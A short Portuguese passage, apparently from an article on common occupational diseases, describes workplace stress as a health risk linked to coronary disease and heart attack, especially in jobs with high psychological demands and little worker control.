O estresse também surgiu como um risco importante no local de trabalho contemporâneo. Tem sido associado a uma série de doenças físicas e emocionais, incluindo a doença arterial coronariana e infarto do miocárdio. O risco de doenças relacionadas ao estresse é o aumento de postos de trabalho com altas demandas emocionais / psicológicas e baixo potencial de controle pelo trabalhador.
http://www.manutencaoesuprimentos.com.br/conteudo/5689-lista-de-doencas-ocupacionais-mais-comuns/
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